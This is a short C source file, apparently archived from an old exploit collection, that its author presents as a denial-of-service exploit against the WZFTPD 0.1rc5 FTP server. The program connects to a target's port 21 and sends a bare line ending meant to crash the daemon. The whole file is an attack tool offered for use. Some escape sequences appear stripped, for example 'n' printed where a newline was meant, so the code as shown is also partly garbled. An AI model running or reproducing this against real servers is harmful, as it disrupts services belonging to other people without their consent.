home *** CD-ROM | disk | FTP | other *** search
- /*
- wzftpdos.c for 0.1rc5 by r3b00t <r3b00t@tx.pl>
- ----------------------------------------------
- remote/local WZFTPD 0.1rc5 DoS exploit
- website: http://r3b00t.tx.pl/
- discovred by Moran Zavdi
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/socket.h>
- #include <string.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <unistd.h>
-
- int sock=0;
-
- int main(int argc, char* argv[]) {
- struct hostent *hp;
- struct sockaddr_in addr;
- printf("wzftpdos.c for 0.1rc5 by r3b00t <r3b00t@tx.pl>n");
- if (argc<2) { printf("usage: %s <server>n", argv[0]); exit(0); }
- hp=gethostbyname(argv[1]);
- if (!hp) { printf("can't resolve %sn", argv[1]); exit(0); }
- bzero((char *)&addr, sizeof(addr));
- if ((sock=socket(AF_INET, SOCK_STREAM, 0))<0) {
- printf("can't create socketn");
- exit(0);
- }
- bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
- addr.sin_family=AF_INET;
- addr.sin_port=htons(21);
- if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
- printf("can't connect to %sn", argv[1]);
- close(sock);
- exit(0);
- }
- printf("sending \r\n ... ");
- send(sock, "rn", 2, 0);
- shutdown(sock, 2);
- close(sock);
- printf("done.n");
- return 0;
- }
-